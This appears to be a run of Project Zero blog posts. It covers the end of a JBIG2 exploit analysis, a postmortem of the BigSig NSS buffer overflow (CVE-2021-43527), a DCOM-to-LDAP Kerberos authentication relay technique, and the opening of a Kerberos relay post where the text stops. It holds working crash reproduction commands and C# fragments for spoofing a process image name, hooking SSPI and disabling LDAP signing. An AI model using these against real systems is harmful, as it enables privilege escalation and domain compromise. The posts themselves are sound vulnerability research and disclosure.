JBIG2 doesn't have scripting capabilities, but when combined with a vulnerability, it does have the ability to emulate circuits of arbitrary logic gates operating on arbitrary memory. So why not just use that to build your own computer architecture and script that!? That's exactly what this exploit does. Using over 70,000 segment commands defining logical bit operations, they define a small computer architecture with features such as registers and a full 64-bit adder and comparator which they use to search memory and perform arithmetic operations. It's not as fast as Javascript, but it's fundamentally computationally equivalent.

The bootstrapping operations for the sandbox escape exploit are written to run on this logic circuit and the whole thing runs in this weird, emulated environment created out of a single decompression pass through a JBIG2 stream. It's pretty incredible, and at the same time, pretty terrifying.

In a future post (currently being finished), we'll take a look at exactly how they escape the IMTranscoderAgent sandbox.

This shouldn't have happened: A vulnerability postmortem

1 December 2021 at 18:38
By: Ryan

Posted by Tavis Ormandy, Project Zero


This is an unusual blog post. I normally write posts to highlight some hidden attack surface or interesting complex vulnerability class. This time, I want to talk about a vulnerability that is neither of those things. The striking thing about this vulnerability is just how simple it is. This should have been caught earlier, and I want to explore why that didn’t happen.

In 2021, all good bugs need a catchy name, so I’m calling this one “BigSig”.

First, let’s take a look at the bug, I’ll explain how I found it and then try to understand why we missed it for so long.


Network Security Services (NSS) is Mozilla's widely used, cross-platform cryptography library. When you verify an ASN.1 encoded digital signature, NSS will create a VFYContext structure to store the necessary data. This includes things like the public key, the hash algorithm, and the signature itself.

struct VFYContextStr {

   SECOidTag hashAlg; /* the hash algorithm */

   SECKEYPublicKey *key;

   union {

       unsigned char buffer[1];

       unsigned char dsasig[DSA_MAX_SIGNATURE_LEN];

       unsigned char ecdsasig[2 * MAX_ECKEY_LEN];

       unsigned char rsasig[(RSA_MAX_MODULUS_BITS + 7) / 8];

   } u;

   unsigned int pkcs1RSADigestInfoLen;

   unsigned char *pkcs1RSADigestInfo;

   void *wincx;

   void *hashcx;

   const SECHashObject *hashobj;

   SECOidTag encAlg;    /* enc alg */

   PRBool hasSignature;

   SECItem *params;


Fig 1. The VFYContext structure from NSS.

The maximum size signature that this structure can handle is whatever the largest union member is, in this case that’s RSA at
2048 bytes. That’s 16384 bits, large enough to accommodate signatures from even the most ridiculously oversized keys.

Okay, but what happens if you just....make a signature that’s bigger than that?

Well, it turns out the answer is memory corruption. Yes, really.

The untrusted signature is simply copied into this fixed-sized buffer, overwriting adjacent members with arbitrary attacker-controlled data.

The bug is simple to reproduce and affects multiple algorithms. The easiest to demonstrate is RSA-PSS. In fact, just these three commands work:

# We need 16384 bits to fill the buffer, then 32 + 64 + 64 + 64 bits to overflow to hashobj,

# which contains function pointers (bigger would work too, but takes longer to generate).

$ openssl genpkey -algorithm rsa-pss -pkeyopt rsa_keygen_bits:$((16384 + 32 + 64 + 64 + 64)) -pkeyopt rsa_keygen_primes:5 -out bigsig.key

# Generate a self-signed certificate from that key

$ openssl req -x509 -new -key bigsig.key -subj "/CN=BigSig" -sha256 -out bigsig.cer

# Verify it with NSS...

$ vfychain -a bigsig.cer

Segmentation fault

Fig 2. Reproducing the BigSig vulnerability in three easy commands.

The actual code that does the corruption varies based on the algorithm; here is the code for RSA-PSS. The bug is that there is simply no bounds checking at all; sig and key are  arbitrary-length, attacker-controlled blobs, and cx->u is a fixed-size buffer.

           case rsaPssKey:

               sigLen = SECKEY_SignatureLen(key);

               if (sigLen == 0) {

                   /* error set by SECKEY_SignatureLen */

                   rv = SECFailure;



               if (sig->len != sigLen) {


                   rv = SECFailure;



               PORT_Memcpy(cx->u.buffer, sig->data, sigLen);


Fig 3. The signature size must match the size of the key, but there are no other limitations. cx->u is a fixed-size buffer, and sig is an arbitrary-length, attacker-controlled blob.

I think this vulnerability raises a few immediate questions:

  • Was this a recent code change or regression that hadn’t been around long enough to be discovered? No, the original code was checked in with ECC support on the 17th October 2003, but wasn't exploitable until some refactoring in June 2012. In 2017, RSA-PSS support was added and made the same error.

  • Does this bug require a long time to generate a key that triggers the bug? No, the example above generates a real key and signature, but it can just be garbage as the overflow happens before the signature check. A few kilobytes of A’s works just fine.

  • Does reaching the vulnerable code require some complicated state that fuzzers and static analyzers would have difficulty synthesizing, like hashes or checksums? No, it has to be well-formed DER, that’s about it.

  • Is this an uncommon code path? No, Firefox does not use this code path for RSA-PSS signatures, but the default entrypoint for certificate verification in NSS, CERT_VerifyCertificate(), is vulnerable.

  • Is it specific to the RSA-PSS algorithm? No, it also affects DSA signatures.

  • Is it unexploitable, or otherwise limited impact? No, the hashobj member can be clobbered. That object contains function pointers, which are used immediately.

This wasn’t a process failure, the vendor did everything right. Mozilla has a mature, world-class security team. They pioneered bug bounties, invest in memory safety, fuzzing and test coverage.

NSS was one of the very first projects included with oss-fuzz, it was officially supported since at least October 2014. Mozilla also fuzz NSS themselves with libFuzzer, and have contributed their own mutator collection and distilled coverage corpus. There is an extensive testsuite, and nightly ASAN builds.

I'm generally skeptical of static analysis, but this seems like a simple missing bounds check that should be easy to find. Coverity has been monitoring NSS since at least December 2008, and also appears to have failed to discover this.

Until 2015, Google Chrome used NSS, and maintained their own testsuite and fuzzing infrastructure independent of Mozilla. Today, Chrome platforms use BoringSSL, but the NSS port is still maintained.

  • Did Mozilla have good test coverage for the vulnerable areas? YES.
  • Did Mozilla/chrome/oss-fuzz have relevant inputs in their fuzz corpus? YES.
  • Is there a mutator capable of extending ASN1_ITEMs? YES.
  • Is this an intra-object overflow, or other form of corruption that ASAN would have difficulty detecting? NO, it's a textbook buffer overflow that ASAN can easily detect.

How did I find the bug?

I've been experimenting with alternative methods for measuring code coverage, to see if any have any practical use in fuzzing. The fuzzer that discovered this vulnerability used a combination of two approaches, stack coverage and object isolation.

Stack Coverage

The most common method of measuring code coverage is block coverage, or edge coverage when source code is available. I’ve been curious if that is always sufficient. For example, consider a simple dispatch table with a combination of trusted and untrusted parameters, as in Fig 4.

#include <stdio.h>

#include <string.h>

#include <limits.h>


static char buf[128];


void cmd_handler_foo(int a, size_t b) { memset(buf, a, b); }

void cmd_handler_bar(int a, size_t b) { cmd_handler_foo('A', sizeof buf); }

void cmd_handler_baz(int a, size_t b) { cmd_handler_bar(a, sizeof buf); }


typedef void (* dispatch_t)(int, size_t);


dispatch_t handlers[UCHAR_MAX] = {






int main(int argc, char **argv)


    int cmd;


    while ((cmd = getchar()) != EOF) {

        if (handlers[cmd]) {

            handlers[cmd](getchar(), getchar());




Fig 4. The coverage of command bar is a superset of command foo, so an input containing the latter would be discarded during corpus minimization. There is a vulnerability unreachable via command bar that might never be discovered. Stack coverage would correctly keep both inputs.[1]

To solve this problem, I’ve been experimenting with monitoring the call stack during execution.

The naive implementation is too slow to be practical, but after a lot of optimization I had come up with a library that was fast enough to be integrated into coverage-guided fuzzing, and was testing how it performed with NSS and other libraries.

Object Isolation

Many data types are constructed from smaller records. PNG files are made of chunks, PDF files are made of streams, ELF files are made of sections, and X.509 certificates are made of ASN.1 TLV items. If a fuzzer has some understanding of the underlying format, it can isolate these records and extract the one(s) causing some new stack trace to be found.

The fuzzer I was using is able to isolate and extract interesting new ASN.1 OIDs, SEQUENCEs, INTEGERs, and so on. Once extracted, it can then randomly combine or insert them into template data. This isn’t really a new idea, but is a new implementation. I'm planning to open source this code in the future.

Do these approaches work?

I wish that I could say that discovering this bug validates my ideas, but I’m not sure it does. I was doing some moderately novel fuzzing, but I see no reason this bug couldn’t have been found earlier with even rudimentary fuzzing techniques.

Lessons Learned

How did extensive, customized fuzzing with impressive coverage metrics fail to discover this bug?

What went wrong

Issue #1 Missing end-to-end testing.

NSS is a modular library. This layered design is reflected in the fuzzing approach, as each component is fuzzed independently. For example, the QuickDER decoder is tested extensively, but the fuzzer simply creates and discards objects and never uses them.

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

 char *dest[2048];

 for (auto tpl : templates) {

   PORTCheapArenaPool pool;

   SECItem buf = {siBuffer, const_cast<unsigned char *>(Data),

                  static_cast<unsigned int>(Size)};

   PORT_InitCheapArena(&pool, DER_DEFAULT_CHUNKSIZE);

   (void)SEC_QuickDERDecodeItem(&pool.arena, dest, tpl, &buf);



Fig 5. The QuickDER fuzzer simply creates and discards objects. This verifies the ASN.1 parsing, but not whether other components handle the resulting objects correctly.

This fuzzer might have produced a SECKEYPublicKey that could have reached the vulnerable code, but as the result was never used to verify a signature, the bug could never be discovered.

Issue #2 Arbitrary size limits.

There is an arbitrary limit of 10000 bytes placed on fuzzed input. There is no such limit within NSS; many structures can exceed this size. This vulnerability demonstrates that errors happen at extremes, so this limit should be chosen thoughtfully.

A reasonable choice might be 224-1 bytes, the largest possible certificate that can be presented by a server during a TLS handshake negotiation.

While NSS might handle objects even larger than this, TLS cannot possibly be involved, reducing the overall severity of any vulnerabilities missed.

Issue #3 Misleading metrics.

All of the NSS fuzzers are represented in combined coverage metrics by oss-fuzz, rather than their individual coverage. This data proved misleading, as the vulnerable code is fuzzed extensively but by fuzzers that could not possibly generate a relevant input.

This is because fuzzers like the tls_server_target use fixed, hardcoded certificates. This exercises code relevant to certificate verification, but only fuzzes TLS messages and protocol state changes.

What Worked

  • The design of the mozilla::pkix validation library prevented this bug from being worse than it could have been. Unfortunately it is unused outside of Firefox and Thunderbird.

It’s debatable whether this was just good fortune or not. It seems likely RSA-PSS would eventually be permitted by mozilla::pkix, even though it was not today.


This issue demonstrates that even extremely well-maintained C/C++ can have fatal, trivial mistakes.

Short Term

  • Raise the maximum size of ASN.1 objects produced by libFuzzer from 10,000 to 224-1 = 16,777,215  bytes.
  • The QuickDER fuzzer should call some relevant APIs with any objects successfully created before destroying them.
  • The oss-fuzz code coverage metrics should be divided by fuzzer, not by project.


This vulnerability is CVE-2021-43527, and is resolved in NSS 3.73.0. If you are a vendor that distributes NSS in your products, you will most likely need to update or backport the patch.


I would not have been able to find this bug without assistance from my colleagues from Chrome, Ryan Sleevi and David Benjamin, who helped answer my ASN.1 encoding questions and engaged in thoughtful discussion on the topic.

Thanks to the NSS team, who helped triage and analyze the vulnerability.

[1] In this minimal example, a workaround if source was available would be to use a combination of sancov's data-flow instrumentation options, but that also fails on more complex variants.

Windows Exploitation Tricks: Relaying DCOM Authentication

20 October 2021 at 16:38
By: Ryan

Posted by James Forshaw, Project Zero

In my previous blog post I discussed the possibility of relaying Kerberos authentication from a DCOM connection. I was originally going to provide a more in-depth explanation of how that works, but as it's quite involved I thought it was worthy of its own blog post. This is primarily a technique to get relay authentication from another user on the same machine and forward that to a network service such as LDAP. You could use this to escalate privileges on a host using a technique similar to a blog post from Shenanigans Labs but removing the requirement for the WebDAV service. Let's get straight to it.


The technique to locally relay authentication for DCOM was something I originally reported back in 2015 (issue 325). This issue was fixed as CVE-2015-2370, however the underlying authentication relay using DCOM remained. This was repurposed and expanded upon by various others for local and remote privilege escalation in the RottenPotato series of exploits, the latest in that line being RemotePotato which is currently unpatched as of October 2021.

The key feature that the exploit abused is standard COM marshaling. Specifically when a COM object is marshaled so that it can be used by a different process or host, the COM runtime generates an OBJREF structure, most commonly the OBJREF_STANDARD form. This structure contains all the information necessary to establish a connection between a COM client and the original object in the COM server.

Connecting to the original object from the OBJREF is a two part process:

  1. The client extracts the Object Exporter ID (OXID) from the structure and contacts the OXID resolver service specified by the RPC binding information in the OBJREF.
  2. The client uses the OXID resolver service to find the RPC binding information of the COM server which hosts the object and establishes a connection to the RPC endpoint to access the object's interfaces.

Both of these steps require establishing an MSRPC connection to an endpoint. Commonly this is either locally over ALPC, or remotely via TCP. If a TCP connection is used then the client will also authenticate to the RPC server using NTLM or Kerberos based on the security bindings in the OBJREF.

The first key insight I had for issue 325 is that you can construct an OBJREF which will always establish a connection to the OXID resolver service over TCP, even if the service was on the local machine. To do this you specify the hostname as an IP address and an arbitrary TCP port for the client to connect to. This allows you to listen locally and when the RPC connection is made the authentication can be relayed or repurposed.

This isn't yet a privilege escalation, since you need to convince a privileged user to unmarshal the OBJREF. This was the second key insight: you could get a privileged service to unmarshal an arbitrary OBJREF easily using the CoGetInstanceFromIStorage API and activating a privileged COM service. This marshals a COM object, creates the privileged COM server and then unmarshals the object in the server's security context. This results in an RPC call to the fake OXID resolver authenticated using a privileged user's credentials. From there the authentication could be relayed to the local system for privilege escalation.

Diagram of an DCOM authentication relay attack from issue 325

Being able to redirect the OXID resolver RPC connection locally to a different TCP port was not by design and Microsoft eventually fixed this in Windows 10 1809/Server 2019. The underlying issue prior to Windows 10 1809 was the string containing the host returned as part of the OBJREF was directly concatenated into an RPC string binding. Normally the RPC string binding should have been in the form of:


Where ncacn_ip_tcp is the protocol sequence for RPC over TCP, ADDRESS is the target address which would come from the string binding, and [135] is the well-known TCP port for the OXID resolver appended by RPCSS. However, as the ADDRESS value is inserted manually into the binding then the OBJREF could specify its own port, resulting in the string binding:


The RPC runtime would just pick the first port in the binding string to connect to, in this case 9999, and would ignore the second port 135. This behavior was fixed by calling the RpcStringBindingCompose API which will correctly escape the additional port number which ensures it's ignored when making the RPC connection.

This is where the RemotePotato exploit, developed by Antonio Cocomazzi and Andrea Pierini, comes into the picture. While it was no longer possible to redirect the OXID resolving to a local TCP server, you could redirect the initial connection to an external server. A call is made to the IObjectExporter::ResolveOxid2 method which can return an arbitrary RPC binding string for a fake COM object.

Unlike the OXID resolver binding string, the one for the COM object is allowed to contain an arbitrary TCP port. By returning a binding string for the original host on an arbitrary TCP port, the second part of the connection process can be relayed rather than the first. The relayed authentication can then be sent to a domain server, such as LDAP or SMB, as long as they don't enforce signing.

Diagram of an DCOM authentication relay attack from Remote Potato

This exploit has the clear disadvantage of requiring an external machine to act as the target of the initial OXID resolving. While investigating the Kerberos authentication relay attacks for DCOM, could I find a way to do everything on the same machine?

Remote ➜ Local Potato

If we're relaying the authentication for the second RPC connection, could we get the local OXID resolver to do the work for us and resolve to a local COM server on a randomly selected port? One of my goals is to write the least amount of code, which is why we'll do everything in C# and .NET.

byte[] ba = GetMarshalledObject(new object());

var std = COMObjRefStandard.FromArray(ba);

Console.WriteLine("IPID: {0}", std.Ipid);

Console.WriteLine("OXID: {0:X08}", std.Oxid);

Console.WriteLine("OID : {0:X08}", std.Oid);


std.StringBindings.Add(RpcTowerId.Tcp, "");

Console.WriteLine($"objref:{0}:", Convert.ToBase64String(std.ToArray());

This code creates a basic .NET object and COM marshals it to a standard OBJREF. I've left out the code for the marshalling and parsing of the OBJREF, but much of that is already present in the linked issue 325. We then modify the list of string bindings to only include a TCP binding for, forcing the OXID resolver to use TCP. If you specify a computer's hostname then the OXID resolver will use ALPC instead. Note that the string bindings in the OBJREF are only for binding to the OXID resolver, not the COM server itself.

We can then convert the modified OBJREF into an objref moniker. This format is useful as it allows us to trivially unmarshal the object in another process by calling the Marshal::BindToMoniker API in .NET and passing the moniker string. For example to bind to the COM object in PowerShell you can run the following command:


Immediately after binding to the moniker a firewall dialog is likely to appear as shown:

Firewall dialog for the COM server when a TCP binding is created

This is requesting the user to allow our COM server process access to listen on all network interfaces for incoming connections. This prompt only appears when the client tries to resolve the OXID as DCOM supports dynamic RPC endpoints. Initially when the COM server starts it only listens on ALPC, but the RPCSS service can ask the server to bind to additional endpoints.

This request is made through an internal RPC interface that every COM server implements for use by the RPCSS service. One of the functions on this interface is UseProtSeq, which requests that the COM server enables a TCP endpoint. When the COM server receives the UseProtSeq call it tries to bind a TCP server to all interfaces, which subsequently triggers the Windows Defender Firewall to prompt the user for access.

Enabling the firewall permission requires administrator privileges. However, as we only need to listen for connections via localhost we shouldn't need to modify the firewall so the dialog can be dismissed safely. However, going back to the COM client we'll see an error reported.

Exception calling "BindToMoniker" with "1" argument(s):

"The RPC server is unavailable. (Exception from HRESULT: 0x800706BA)"

If we allow our COM server executable through the firewall, the client is able to connect over TCP successfully. Clearly the firewall is affecting the behavior of the COM client in some way even though it shouldn't. Tracing through the unmarshalling process in the COM client, the error is being returned from RPCSS when trying to resolve the OXID's binding information. This would imply that no connection attempt is made, and RPCSS is detecting that the COM server wouldn't be allowed through the firewall and refusing to return any binding information for TCP.

Further digging into RPCSS led me to the following function:

BOOL IsPortOpen(LPWSTR ImageFileName, int PortNumber) {

  INetFwMgr* mgr;




  VARIANT Allowed;

  VARIANT Restricted;

  mgr->IsPortAllowed(ImageFileName, NET_FW_IP_VERSION_ANY, 

             PortNumber, NULL, NET_FW_IP_PROTOCOL_TCP,

             &Allowed, &Restricted);

  if (VT_BOOL != Allowed.vt)

    return FALSE;

  return Allowed.boolVal == VARIANT_TRUE;


This function uses the HNetCfg.FwMgr COM object, and calls INetFwMgr::IsPortAllowed to determine if the process is allowed to listen on the specified TCP port. This function is called for every TCP binding when enumerating the COM server's bindings to return to the client. RPCSS passes the full path to the COM server's executable and the listening TCP port. If the function returns FALSE then RPCSS doesn't consider it valid and won't add it to the list of potential bindings.

If the OXID resolving process doesn't have any binding at the end of the lookup process it will return the RPC_S_SERVER_UNAVAILABLE error and the COM client will fail to bind to the server. How can we get around this limitation without needing administrator privileges to allow our server through the firewall? We can convert this C++ code into a small PowerShell function to test the behavior of the function to see what would grant access.

function Test-IsPortOpen {





    $mgr = New-Object -ComObject "HNetCfg.FwMgr"

    $allow = $null

    $mgr.IsPortAllowed($Name, 2, $Port, "", 6, [ref]$allow, $null)



foreach($f in $(ls "$env:WINDIR\system32\*.exe")) {    

    if (Test-IsPortOpen $f.FullName 12345) {

        Write-Host $f.Fullname



This script enumerates all executable files in system32 and checks if they'd be allowed to connect to TCP port 12345. Normally the TCP port would be selected automatically, however the COM server can use the RpcServerUseProtseqEp API to pre-register a known TCP port for RPC communication, so we'll just pick port 12345.

The only executable in system32 that returns true from Test-IsPortOpen is svchost.exe. That makes some sense, the default firewall rules usually permit a limited number of services to be accessible through the firewall, the majority of which are hosted in a shared service process.

This check doesn't guarantee a COM server will be allowed through the firewall, just that it's potentially accessible in order to return a TCP binding string. As the connection will be via localhost we don't need to be allowed through the firewall, only that IsPortOpen thinks we could be open. How can we spoof the image filename?

The obvious trick would be to create a svchost.exe process and inject our own code in there. However, that is harder to achieve through pure .NET code and also injecting into an svchost executable is a bit of a red flag if something is monitoring for malicious code which might make the exploit unreliable. Instead, perhaps we can influence the image filename used by RPCSS?

Digging into the COM runtime, when a COM server registers itself with RPCSS it passes its own image filename as part of the registration information. The runtime gets the image filename through a call to GetModuleFileName, which gets the value from the ImagePathName field in the process parameters block referenced by the PEB.

We can modify this string in our own process to be anything we like, then when COM is initialized, that will be sent to RPCSS which will use it for the firewall check. Once the check passes, RPCSS will return the TCP string bindings for our COM server when unmarshalling the OBJREF and the client will be able to connect. This can all be done with only minor in-process modifications from .NET and no external servers required.

Capturing Authentication

At this point a new RPC connection will be made to our process to communicate with the marshaled COM object. During that process the COM client must authenticate, so we can capture and relay that authentication to another service locally or remotely. What's the best way to capture that authentication traffic?

Before we do anything we need to select what authentication we want to receive, and this will be reflected in the OBJREF's security bindings. As we're doing everything using the existing COM runtime we can register what RPC authentication services to use when calling CoInitializeSecurity in the COM server through the asAuthSvc parameter.



      dwAuthnSvc = RpcAuthenticationType.Kerberos,

      pPrincipalName = "HOST/DC.domain.com"



var str = SetProcessModuleName("System");



   CoInitializeSecurity(IntPtr.Zero, svcs.Length, svcs,

        IntPtr.Zero, AuthnLevel.RPC_C_AUTHN_LEVEL_DEFAULT,

        ImpLevel.RPC_C_IMP_LEVEL_IMPERSONATE, IntPtr.Zero,








In the above code, we register to only receive Kerberos authentication and we can also specify an arbitrary SPN as I described in the previous blog post. One thing to note is that the call to CoInitializeSecurity will establish the connection to RPCSS and pass the executable filename. Therefore we need to modify the filename before calling the API as we can't change it after the connection has been established.

For swag points I specify the filename System rather than build the full path to svchost.exe. This is the name assigned to the kernel which is also granted access through the firewall. We restore the original filename after the call to CoInitializeSecurity to reduce the risk of it breaking something unexpectedly.

That covers the selection of the authentication service to use, but doesn't help us actually capture that authentication. My first thought to capture the authentication was to find the socket handle for the TCP server, close it and create a new socket in its place. Then I could directly process the RPC protocol and parse out the authentication. This felt somewhat risky as the RPC runtime would still think it has a valid TCP server socket and might fail in unexpected ways. Also it felt like a lot of work, when I have a perfectly good RPC protocol parser built into Windows.

I then resigned myself to hooking the SSPI APIs, although ideally I'd prefer not to do so. However, once I started looking at the RPC runtime library there weren't any imports for the SSPI APIs to hook into and I really didn't want to patch the functions themselves. It turns out that the RPC runtime loads security packages dynamically, based on the authentication service requested and the configuration of the HKLM\SOFTWARE\Microsoft\Rpc\SecurityService registry key.

Screenshot of the Registry Editor showing HKLM\SOFTWARE\Microsoft\Rpc\SecurityService key

The key, shown in the above screenshot has a list of values. The value's name is the number assigned to the authentication service, for example 16 is RPC_C_AUTHN_GSS_KERBEROS. The value's data is then the name of the DLL to load which provides the API, for Kerberos this is sspicli.dll.

The RPC runtime then loads a table of security functions from the DLL by calling its exported InitSecurityInterface method. At least for sspicli the table is always the same and is a pre-initialized structure in the DLL's data section. This is perfect, we can just call InitSecurityInterface before the RPC runtime is initialized to get a pointer to the table then modify its function pointers to point to our own implementation of the API. As an added bonus the table is in a writable section of the DLL so we don't even need to modify the memory protection.

Of course implementing the hooks is non-trivial. This is made more complex because RPC uses the DCE style Kerberos authentication which requires two tokens from the client before the server considers the authentication complete. This requires maintaining more state to keep the RPC server and client implementations happy. I'll leave this as an exercise for the reader.

Choosing a Relay Target Service

The next step is to choose a suitable target service to relay the authentication to. For issue 325 I relayed the authentication to the same machine's DCOM activator RPC service and was able to achieve an arbitrary file write.

I thought that maybe I could do so again, so I modified my .NET RPC client to handle the relayed authentication and tried accessing local RPC services. No matter what RPC server or function I called, I always got an access denied error. Even if I wrote my own RPC server which didn't have any checks, it would fail.

Digging into the failure it turned out that at some point (I don't know specifically when), Microsoft added a mitigation into the RPC runtime to make it very difficult to relay authentication back to the same system.

void SSECURITY_CONTEXT::ValidateUpgradeCriteria() {

  if (this->AuthnLevel < RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) {

    if (IsLoopback())

      this->UnsafeLoopbackAuth = TRUE;



The SSECURITY_CONTEXT::ValidateUpgradeCriteria method is called when receiving RPC authentication packets. If the authentication level for the RPC connection is less than RPC_C_AUTHN_LEVEL_PKT_INTEGRITY such as RPC_C_AUTHN_LEVEL_PKT_CONNECT and the authentication was from the same system then a flag is set to true in the security context. The IsLoopback function calls the QueryContextAttributes API for the undocumented SECPKG_ATTR_IS_LOOPBACK attribute value from the server security context. This attribute indicates if the authentication was from the local system.

When an RPC call is made the server will check if the flag is true, if it is then the call will be immediately rejected before any code is called in the server including the RPC interface's security callback. The only way to pass this check is either the authentication doesn't come from the local system or the authentication level is RPC_C_AUTHN_LEVEL_PKT_INTEGRITY or above which then requires the client to know the session key for signing or encryption. The RPC client will also check for local authentication and will increase the authentication level if necessary. This is an effective way of preventing the relay of local authentication to elevate privileges.

Instead as I was focussing on Kerberos, I came to the conclusion that relaying the authentication to an enterprise network service was more useful. As the default settings for a domain controller's LDAP service still do not enforce signing, it would seem a reasonable target. As we'll see, this provides a limitation of the source of the authentication, as it must not enable Integrity otherwise the LDAP server will enforce signing.

The problem with LDAP is I didn't have any code which implemented the protocol. I'm sure there is some .NET code to do it somewhere, but the fewer dependencies I have the better. As I mentioned in the previous blog post, Windows has a builtin LDAP library in wldap32.dll. Could I repurpose its API but convert it into using relayed authentication?

Unsurprisingly the library doesn't have a "Enable relayed authentication" mode, but after a few minutes in a disassembler, it was clear it was also delay-loading the SSPI interfaces through the InitSecurityInterface method. I could repurpose my code for capturing the authentication for relaying the authentication. There was initially a minor issue, accidentally or on purpose there was a stray call to QueryContextAttributes which was directly imported, so I needed to patch that through an Import Address Table (IAT) hook as distasteful as that was.

There was still a problem however. When the client connects it always tries to enable LDAP signing, as we are relaying authentication with no access to the session key this causes the connection to fail. Setting the option value LDAP_OPT_SIGN in the library to false didn't change this behavior. I needed to set the LdapClientIntegrity registry value to 0 in the LDAP service's key before initializing the library. Unfortunately that key is only modifiable by administrators. I could have modified the library itself, but as it was checking the key during DllMain it would be a complex dance to patch the DLL in the middle of loading.

Instead I decided to override the HKEY_LOCAL_MACHINE key. This is possible for the Win32 APIs by using the RegOverridePredefKey API. The purpose of the API is to allow installers to redirect administrator-only modifications to the registry into a writable location, however for our purposes we can also use it to redirect the reading of the LdapClientIntegrity registry value.


static extern int RegOverridePredefKey(

    IntPtr hKey,

    IntPtr hNewHKey


[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]

static extern IntPtr LoadLibrary(string libname);

static readonly IntPtr HKEY_LOCAL_MACHINE = new IntPtr(-2147483646);

static void OverrideLocalMachine(RegistryKey key)


    int res = RegOverridePredefKey(HKEY_LOCAL_MACHINE,

        key?.Handle.DangerousGetHandle() ?? IntPtr.Zero);

    if (res != 0)

        throw new Win32Exception(res);


static void LoadLDAPLibrary()


    string dummy = @"SOFTWARE\DUMMY";

    string target = @"System\CurrentControlSet\Services\LDAP";

    using (var key = Registry.CurrentUser.CreateSubKey(dummy, true))


        using (var okey = key.CreateSubKey(target, true))


            okey.SetValue("LdapClientIntegrity", 0,





                IntPtr lib = LoadLibrary("wldap32.dll");

                if (lib == IntPtr.Zero)

                    throw new Win32Exception();










This code redirects the HKEY_LOCAL_MACHINE key and then loads the LDAP library. Once it's loaded we can then revert the override so that everything else works as expected. We can now repurpose the built-in LDAP library to relay Kerberos authentication to the domain controller. For the final step, we need a privileged COM service to unmarshal the OBJREF to start the process.

Choosing a COM Unmarshaller

The RemotePotato attack assumes that a more privileged user is authenticated on the same machine. However I wanted to see what I could do without that requirement. Realistically the only thing that can be done is to relay the computer's domain account to the LDAP server.

To get access to authentication for the computer account, we need to unmarshal the OBJREF inside a process running as either SYSTEM or NETWORK SERVICE. These local accounts are mapped to the computer account when authenticating to another machine on the network.

We do have one big limitation on the selection of a suitable COM server: it must make the RPC connection using the RPC_C_AUTHN_LEVEL_PKT_CONNECT authentication level. Anything above that will enable Integrity on the authentication which will prevent us relaying to LDAP. Fortunately RPC_C_AUTHN_LEVEL_PKT_CONNECT is the default setting for DCOM, but unfortunately all services which use the svchost process change that default to RPC_C_AUTHN_LEVEL_PKT which enables Integrity.

After a bit of hunting around with OleViewDotNet, I found a good candidate class, CRemoteAppLifetimeManager (CLSID: 0bae55fc-479f-45c2-972e-e951be72c0c1) which is hosted in its own executable, runs as NETWORK SERVICE, and doesn't change any default settings as shown below.

Screenshot of the OleViewDotNet showing the security flags of the CRemoteAppLifetimeManager COM server

The server doesn't change the default impersonation level from RPC_C_IMP_LEVEL_IDENTIFY, which means the negotiated token will only be at SecurityIdentification level. For LDAP, this doesn't matter as it only uses the token for access checking, not to open resources. However, this would prevent using the same authentication to access something like the SMB server. I'm confident that given enough effort, a COM server with both RPC_C_AUTHN_LEVEL_PKT_CONNECT and RPC_C_IMP_LEVEL_IMPERSONATE could be found, but it wasn't necessary for my exploit.

Wrapping Up

That's a somewhat complex exploit. However, it does allow for authentication relay, with arbitrary Kerberos tokens from a local user to LDAP on a default Windows 10 system. Hopefully it might provide some ideas of how to implement something similar without always needing to write your protocol servers and clients and just use what's already available.

This exploit is very similar to the existing RemotePotato exploit that Microsoft have already stated will not be fixed. This is because Microsoft considers authentication relay attacks to be an issue with the configuration of the Windows network, such as not enforcing signing on LDAP, rather than the particular technique used to generate the authentication relay. As I mentioned in the previous blog post, at most this would be assessed as a Moderate severity issue which does not reach the bar for fixing as part of regular updates (or potentially, not being fixed at all).

As for mitigating this issue without it being fixed by Microsoft, a system administrator should follow Microsoft's recommendations to enable signing and/or encryption on any sensitive service in the domain, especially LDAP. They can also enable Extended Protection for Authentication where the service is protected by TLS. They can also configure the default DCOM authentication level to be RPC_C_AUTHN_LEVEL_PKT_INTEGRITY or above. These changes would make the relay of Kerberos, or NTLM significantly less useful.

Using Kerberos for Authentication Relay Attacks

20 October 2021 at 16:26
By: Ryan

Posted by James Forshaw, Project Zero

This blog post is a summary of some research I've been doing into relaying Kerberos authentication in Windows domain environments. To keep this blog shorter I am going to assume you have a working knowledge of Windows network authentication, and specifically Kerberos and NTLM. For a quick primer on Kerberos see this page which is part of Microsoft's Kerberos extension documentation or you can always read RFC4120.


Windows based enterprise networks rely on network authentication protocols, such as NT Lan Manager (NTLM) and Kerberos to implement single sign on. These protocols allow domain users to seamlessly connect to corporate resources without having to repeatedly enter their passwords. This works by the computer's Local Security Authority (LSA) process storing the user's credentials when the user first authenticates. The LSA can then reuse those credentials for network authentication without requiring user interaction.

However, the convenience of not prompting the user for their credentials when performing network authentication has a downside. To be most useful, common clients for network protocols such as HTTP or SMB must automatically perform the authentication without user interaction otherwise it defeats the purpose of avoiding asking the user for their credentials.

This automatic authentication can be a problem if an attacker can trick a user into connecting to a server they control. The attacker could induce the user's network client to start an authentication process and use that information to authenticate to an unrelated service allowing the attacker to access that service's resources as the user. When the authentication protocol is captured and forwarded to another system in this way it's referred to as an Authentication Relay attack.

Simple diagram of an authentication relay attack

Authentication relay attacks using the NTLM protocol were first published all the way back in 2001 by Josh Buchbinder (Sir Dystic) of the Cult of the Dead Cow. However, even in 2021 NTLM relay attacks still represent a threat in default configurations of Windows domain networks. The most recent major abuse of NTLM relay was through the Active Directory Certificate Services web enrollment service. This combined with the PetitPotam technique to induce a Domain Controller to perform NTLM authentication allows for a Windows domain to be compromised by an unauthenticated attacker.

Over the years Microsoft has made many efforts to mitigate authentication relay attacks. The best mitigations rely on the fact that the attacker does not have knowledge of the user's password or control over the authentication process. This includes signing and encryption (sealing) of network traffic using a session key which is protected by the user's password or channel binding as part of Extended Protection for Authentication (EPA) which prevents relay of authentication to a network protocol under TLS.

Another mitigation regularly proposed is to disable NTLM authentication either for particular services or network wide using Group Policy. While this has potential compatibility issues, restricting authentication to only Kerberos should be more secure. That got me thinking, is disabling NTLM sufficient to eliminate authentication relay attacks on Windows domains?

Why are there no Kerberos Relay Attacks?

